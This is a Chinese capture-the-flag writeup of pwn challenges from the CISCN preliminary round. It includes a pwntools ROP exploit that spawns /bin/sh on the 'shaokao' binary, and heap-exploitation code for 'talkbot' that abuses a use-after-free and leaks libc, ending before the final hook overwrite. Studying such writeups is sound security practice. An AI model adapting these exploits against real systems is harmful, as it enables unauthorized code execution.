「PWN」【第十六届全国大学生信息安全竞赛 CISCN 初赛】Writeup WP 复现
决赛要去 Singapore,所以没时间打,初赛看看。
初赛 Pwn 题不好评价,Pwn 的部分都挺简单的,但是给你套 RE/WEB/MISC 的壳,两天的 pwn3 都没出,也不太想看了。
shaokao
签到题。负数溢出刷钱,栈溢出写 ROP。
from pwn import *
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = 'wt.exe bash -c'.split(' ')
sh = process('./shaokao')
elf = ELF('./shaokao')
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rax_ret = 0x458827
pop_rdx_rbx_ret = 0x4a404b
syscall_ret = 0x4230a6
name = elf.sym['name']
sh.sendlineafter('来点啥?\n'.encode(), b'1\n1\n-100000\n4')
gdb.attach(sh, 'b *0x401F8D')
pause(4)
sh.sendlineafter('来点啥?\n'.encode(), b'5\n' + b'/bin/sh'.ljust(0x28, b'\x00') +
p64(pop_rdi_ret) + p64(name) + p64(pop_rax_ret) + p64(59) +
p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(syscall_ret))
sh.interactive()
talkbot
Protobuf 协议题,出题人很鸡贼的把 strings 里的 protobuf
改成了 BINARYBF
不过通过搜后面的啥还是能搜出来是 protobuf
的。还好协议字段已经直接写在字段里了,看名字猜类型。
不知道是哪里改的,但是实测发现 actionid, msgidx, msgsize 都需要 *2 才是正常值。
因为写 protobuf 太麻烦了,所以写了一个 pwnutils
菜单
def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))
def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))
def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))
def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))
漏洞点 在 del
没有把指针置 0 造成 UAF
因此可以通过打 tcache + UAF 一把梭,简单题。
不过其实还有一个隐藏的漏洞点,在 add 这里,甚至可以在没有 UAF 的情况下打通( talkbot_revenge? )
注意到 heap
和 size
只有 0x20
的偏移。那么如果我们 add(0, 0)
之后再 add(0x20, 0)
,就会让 heap[0x20]
写在 size[0]
上,造成 size[0]
非常巨大。
此时,利用 edit 就可以造成堆溢出。此时我们可以在下面重新造一个 chunk 用(因为这个 chunk 太大了,直接 show 会出问题),然后再利用下一个 chunk 再去堆溢出,改一个 unsortedbin 出来泄露。
然而麻烦的是,protobuf 解析的时候会创建很多堆块,并且它不回收。而我们最大只能创建 0xf0
的堆块,所以堆风水调了我很久。
new(0, 0, b'')
new(1, 0x10, b'')
new(0x20, 0x10, b'')
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x91))
delete(1)
new(2, 0x88, b'A'*0x70)
edit(2, b'\x00'.ljust(0x68, b'\x00') + p64(0x451))
new(10, 0xf0, b'')
new(11, 0xf0, b'')
delete(0x20)
new(12, 0xf0, b'')
show(12)
libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
sh.recv(0x9a+0x38)
heap_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x510
还好最后是够了。接下来就是 __free_hook
的过程。因为是 2.31,所以得利用 magic_gadget + setcontext
控制程序流。